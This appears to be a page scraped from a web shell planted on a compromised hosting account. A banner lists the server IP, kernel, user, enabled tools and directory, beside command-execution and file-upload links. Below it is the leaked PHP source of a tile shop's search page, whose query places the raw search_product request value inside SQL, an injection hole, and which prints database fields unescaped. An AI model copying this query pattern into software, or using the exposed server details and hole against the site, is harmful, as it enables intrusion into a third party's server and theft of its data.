Server IP : 103.53.40.154 / Your IP : 3.15.145.50 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/lizatilessolution.com/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include("site-header.php"); ?> <nav class="breadcrumb" aria-label="breadcrumbs" style="margin-top: 90px;"> <h1>Search Result</h1> <a href="<?=$site_url?>" title="Back to the home">Home</a> <span aria-hidden="true" class="breadcrumb__sep">/</span> <span> Search Result</span> </nav> <div class="dt-sc-hr-invisible-large"></div> <?php $start = intval($start); //$pagesize = intval($pagesize)==0?$pagesize=DEF_PAGE_SIZE:$pagesize; $pagesize=12; $sql = "select * from tbl_category where 1 and category_status='Active' and category_parent_id!='0' and category_name like '%$_REQUEST[search_product]%' "; $sql .= " limit $start, $pagesize "; //echo $sql; $pager = new midas_pager_sql($sql, $pagesize, $start); if($pager->total_records) { $result = db_query($sql); } ?> <main class="main-content "> <div class="wrapper"> <div class="grid__item"> <div class="grid__item"> <div class="collection-products position-change"> <? if($pager->total_records!=0) {?> <? $pager->show_displaying()?> <?//=pagesize_dropdown('pagesize', $pagesize);?> <?php } ?> <div class="grid__item wide--one-fifth post-large--one-fifth large--three-tenths left-sidebar"> <!-- /snippets/collection-sidebar.liquid --> <div class="collection_sidebar"> <!-- <div class="refined-widgets"> <a href="javascript:void(0)" class="clear-all" style="display:none"> Clear All </a> </div> --> <div class="sidebar-block"> <div id="shopify-section-sidebar-colors" class="shopify-section"><div data-section-id="sidebar-colors" data-section-type="Sidebar-color" class="shopify-section"> </div> </div> <div id="shopify-section-sidebar-tag-filters" class="shopify-section"> <div data-section-id="sidebar-tag-filters" data-section-type="Sidebar-tag" class="shopify-section"> </div> </div> </div> <div id="shopify-section-sidebar-banner" class="shopify-section"> <div class="widget widget_promo_img"> <ul id="promo-carousel" class="owl-carousel owl-theme"> </ul> </div> <script type="text/javascript"> $(document).ready(function(){ $("#promo-carousel").owlCarousel({ loop:false, // margin:10, nav:false, dots: true, responsive:{ 0:{ items:1 }, 600:{ items:1 }, 1000:{ items:1 } } }); }); </script> </div> </div> </div> <!-- four-fifths --> <div class="grid__item wide--five-fifths post-large--five-fifths large--seven-tenths sidebar-hidden second"> <div class="collection-list"> <div class="grid-uniform grid-link__container col-main"> <br> <?php if($pager->total_records>0) {?> <div class="products-grid-view"> <ul> <?php //$pro_sql=db_query("select * from tbl_category where 1 and category_status='Active' and category_is_product='Yes' "); while($pro_res=mysqli_fetch_array($result)) { ?> <li class="grid__item item-row wide--one-quarter post-large--one-third large--one-half medium--one-half small-grid__item on-sale" id="product-1892471406710" > <div class="products product-hover-16"> <div class="product-container"> <a href="<?=$site_url?>/product-details.html?id=<?=$pro_res['category_id']?>" class="grid-link"> <div class="ImageOverlayCa"></div> <div class="reveal"> <span class="product-additional"> <img src="<?=$site_url?>/uploaded_files/<?=$pro_res['category_image_name']?>" class="featured-image" alt="<?=$pro_res['category_name']?>" title="<?=$pro_res['category_name']?>" style="height: 200px; <?php if($cat_id==0){?>width:290px;<?}else{?>width:230px;<?}?>"> </span> <img src="<?=$site_url?>/uploaded_files/<?=$pro_res['category_image_name']?>" class="hidden-feature_img" alt="<?=$pro_res['category_name']?>" title="<?=$pro_res['category_name']?>" style="height: 200px; <?php if($cat_id==0){?>width:290px;<?}else{?>width:230px;<?}?>" /> </div> </a> <div class="product_right_tag offer_exist "> </div> <div class="product-detail"> <div class="prt-detail-inner"> <a href="<?=$site_url?>/product-details.html?id=<?=$pro_res['category_id']?>" class="grid-link__title"><?=$pro_res['category_name']?></a> <div class="grid-link__meta"> <div class="product_price"> <div class="grid-link__org_price"> <span class=money><i class="fa fa-inr"></i><?=$pro_res['category_discount_price']?></span> </div> <del class="grid-link__sale_price"><span class=money><i class="fa fa-inr"></i><?=$pro_res['category_real_price']?></span></del> </div> </div> </div> <div class="functional-buttons"> <a class="add-cart-btn btn" href="javascript:void(0);" onclick="add_to_cart_pro_ajax(<?=$pro_res['category_id']?>);"> Add to Cart </a> </div> </div> </div> </div> </li> <?}?> </ul> </div> <? $pager->show_pager();?> <?php }else{?> <div class="col-md-12"> <center> <img src="<?=$site_url?>/images/2020-01-16.png" width="150" style="margin-top:-70px;"> </center> <h2 style="color:red; text-align: center; padding-bottom:50px;"> Search Result Not Found ! </h2> </div> <div class="products-grid-view"> <hr> <h1>Our Categories</h1> <ul> <?php $pro_sql=db_query("select * from tbl_category where 1 and category_status='Active' and category_parent_id='0' order by category_order_by asc"); while($pro_res=mysqli_fetch_array($pro_sql)) { ?> <li class="grid__item item-row wide--one-quarter post-large--one-third large--one-half medium--one-half small-grid__item on-sale" id="product-1892471406710" > <div class="products product-hover-16"> <div class="product-container"> <a href="<?=$site_url?>/products.html?id=<?=$pro_res['category_id']?>" class="grid-link"> <div class="ImageOverlayCa"></div> <div class="reveal"> <span class="product-additional"> <img src="<?=$site_url?>/uploaded_files/<?=$pro_res['category_image_name']?>" class="featured-image" alt="<?=$pro_res['category_name']?>" title="<?=$pro_res['category_name']?>" style="height: 200px; <?php if($cat_id==0){?>width:290px;<?}else{?>width:230px;<?}?>"> </span> <img src="<?=$site_url?>/uploaded_files/<?=$pro_res['category_image_name']?>" class="hidden-feature_img" alt="<?=$pro_res['category_name']?>" title="<?=$pro_res['category_name']?>" style="height: 200px; <?php if($cat_id==0){?>width:290px;<?}else{?>width:230px;<?}?>" /> </div> </a> <div class="product_right_tag offer_exist "> </div> <div class="product-detail"> <div class="prt-detail-inner"> <a href="<?=$site_url?>/products.html?id=<?=$pro_res['category_id']?>" class="grid-link__title"><?=$pro_res['category_name']?></a> </div> </div> </div> </div> </li> <?}?> </ul> </div> <?php }?> <div class="text-center padding"> <!-- <div class="dt-sc-hr-invisible-medium"></div> <div class="infinite-scrolling"> <a href="all4658.html?page=2" title="Load more..." class="btn">Show more</a> <a href="#" class="disabled btn" style="display:none" title="Load more...">No more product </a> </div> --> </div> </div> </div> </div> </div> </div> <div class="dt-sc-hr-invisible-large"></div> </div> </div> <div class="dt-sc-hr-invisible-large"></div> </main> <script> function add_to_cart_pro_ajax(pro_cart_id) { /*swal(""+pro_cart_id+"");*/ $.ajax({ url:"<?=$site_url?>/add_to_cart.php", type:"POST", data:{pro_cart_id:pro_cart_id}, success:function(data){ if(data=="quantity error") { swal("Quantity not available !", "", "error"); }else if(data=="Item added in your cart.") { // swal("Added !", "Item added in your cart", "success"); swal({title: "Added", text: "Item added in your cart", showConfirmButton: true, allowEscapeKey : false, allowOutsideClick: false, type: "success"}, function(){ location.reload(); } ); }else{ swal("Item already added in your cart!", "", "error"); } } }); } </script> <?php include("site-footer.php"); ?>